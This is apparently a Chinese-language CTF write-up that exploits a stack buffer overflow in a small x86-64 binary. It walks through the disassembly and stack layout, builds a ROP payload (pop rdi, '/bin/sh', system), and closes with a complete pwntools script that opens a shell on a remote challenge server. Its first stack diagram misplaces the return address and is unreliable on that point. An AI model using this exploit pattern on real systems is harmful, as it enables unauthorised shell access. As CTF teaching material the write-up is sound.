检查程序

$ file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e9c3e8aac19e8a6dabd60d74867b72be88fa662e, for GNU/Linux 3.2.0, not stripped

放入IDA中进行分析:

int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD buf[4]; // [rsp+0h] [rbp-20h] BYREF

setbuf(stdin, 0);
setbuf(stdout, 0);
memset(buf, 0, sizeof(buf));
puts("Please Input your name.");
read(0, buf, 0x100u);
printf((const char *)'@ \'', (const char *)buf);
return 0;
}

在上述反汇编出的代码中,我们得知该程序分配了一个大小为20的局部栈空间用作缓冲区,接下来我们尝试阅读一下汇编代码;

push    rbp
mov rbp, rsp
sub rsp, 20h
mov rax, cs:stdin@@GLIBC_2_2_5
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
mov rax, cs:stdout@@GLIBC_2_2_5
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
mov [rbp+buf], 0
mov [rbp+var_18], 0
mov [rbp+var_10], 0
mov [rbp+var_8], 0
lea rdi, s ; "Please Input your name."
call _puts
lea rax, [rbp+buf]
mov edx, 100h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
lea rax, [rbp+buf]
mov rsi, rax
lea rdi, format ; "hello %s"
mov eax, 0
call _printf
mov eax, 0
leave
retn

首先是第一行push rbp,其保存了修改前的rbp,在之后的mov rbp, rsp其设置了一个新的rbp,以下是原始的栈帧

高地址 (栈底方向,rbp 所在)
+----------------------+
| 调用者栈帧 ... |
+----------------------+
| 保存的 rbp (8 bytes) | <-- rbp 指向这里
+----------------------+
| 返回地址 (8 bytes) | <-- rbp + 8 (覆盖这里可以控制程序流)
+----------------------+
| 可能的对齐或未使用 |
+----------------------+
| var_8 (rbp - 8) | 初始 0
+----------------------+
| var_10 (rbp - 0x10) | 初始 0
+----------------------+
| var_18 (rbp - 0x18) | 初始 0
+----------------------+
| buf (rbp - 0x20) | 初始 0,read 读取的数据从这里开始存放
+----------------------+ <-- rsp 指向这里(分配局部变量后)
低地址 (栈顶方向)

当程序执行后rbp被保存并设置了一个新的,那么修改后的栈布局如下:

高地址
+----------------------+
| 调用者栈帧 ... |
+----------------------+
| 返回地址 (8 bytes) | <-- rbp + 8
+----------------------+
| 保存的 rbp (8 bytes) | <-- rbp 指向这里
+----------------------+
| var_8 (rbp - 8) | 初始 0
+----------------------+
| var_10 (rbp - 0x10) | 初始 0
+----------------------+
| var_18 (rbp - 0x18) | 初始 0
+----------------------+
| buf (rbp - 0x20) | 初始 0 <-- rsp 指向这里
+----------------------+
低地址

由于我们的返回地址应该还包括保存的rbp地址(8字节),而修改后的rbp到返回地址的偏移量是32,于是最终的偏移量有两种写法:

payload = b'a'*40 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload = b'a'*32 + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

我们在gdb中进行验证

images

之后继续在IDA中分析;

images

images

跟进后发现其可以调用/bin/sh,因此我们得出一个思路:当我们溢出到system时其自动调用/bin/sh

Exp如下:

from pwn import *

#io = process('./pwn2')

sh = remote('117.72.52.127', 12677)

sh.recvuntil(b'Please Input your name')

pop_rdi_ret = 0x40126b
system_addr = 0x401050
binsh_addr = 0x402004

payload = b'a'*40 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.send(payload)
sh.interactive()
2025-09-24

⬆︎TOP